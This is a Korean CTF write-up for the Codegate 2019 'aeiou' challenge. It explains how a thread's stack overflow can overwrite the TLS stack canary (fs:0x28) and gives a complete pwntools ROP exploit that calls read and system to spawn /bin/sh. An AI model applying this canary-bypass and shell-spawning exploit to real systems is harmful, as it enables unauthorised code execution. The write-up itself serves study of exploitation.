pwnable/CTF write-up
[pwnpwnpwn-15] codegate 2019 aeiou
ba0bab
2020. 1. 28. 14:09
Summary
- Thread Local Storage(TLS)
리눅스는 x86: gs
, x86_64: fs
레지스터로 TLS
를 관리한다.
TLS
란 쓰레드를 관리하기 위한 전역변수이며 해당 변수의 0번 째 인덱스에는 TCB
(Thread Control Block)의 주소가 저장된다.
TCB
는 해당 쓰레드를 관리하기 위한 구조체.
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;
위 구조체에서 볼 수 있는 stack_guard
영역은 fs:0x28
영역에 저장되어 있는 stack canary
이다.
저 부분을 overwrite할 수 있다면 canary
를 원하는 값으로 조작할 수 있다.
새로운 쓰레드가 만들어질 때 TLS
영역과 새로운 쓰레드의 stack 영역이 같은 mmap 공간에 놓이게 되어 새로운 쓰레드에서 스택 오버플로우가 발생할 경우 TLS
영역의 stack_guard
를 덮을 수 있다.
Analyze
3번 메뉴.
int Teaching()
{
int result; // eax
pthread_t newthread; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL);
result = pthread_join(newthread, 0LL);
if ( result )
{
puts("oooooh :(");
result = 1;
}
return result;
}
start_routine
void *__fastcall start_routine(void *a1)
{
unsigned __int64 len; // [rsp+8h] [rbp-1018h]
char s; // [rsp+10h] [rbp-1010h]
unsigned __int64 v4; // [rsp+1018h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(&s, 0, 0x1000uLL);
puts("Hello!");
puts("Let me know the number!");
len = sub_400FF5();
if ( len <= 0x10000 )
{
read_(0, (__int64)&s, len);
puts("Thank You :)");
}
else
{
puts("Too much :(");
}
return 0LL;
}
스택상황을 보면 위에 언급한 구조체가 보임.
Exploit
rop payload 짜고 뒤에 덮어주면 됨.
from pwn import *
s = process("aeiou")
e = ELF("aeiou")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
prdi = 0x4026f3
prsi_r15 = 0x4026f1
payload = ''
payload += "A"*0x1008+"A"*16
payload += p64(prdi)
payload += p64(0)
payload += p64(prsi_r15)
payload += p64(e.bss())
payload += p64(0)
payload += p64(e.plt['read'])
payload += p64(prdi)
payload += p64(e.bss())
payload += p64(e.plt['system'])
payload = payload.ljust(0x17F0, "A")
s.sendlineafter(">>", "3")
s.sendlineafter("!\n", str(len(payload)))
s.send(payload)
s.send("/bin/sh")
s.interactive()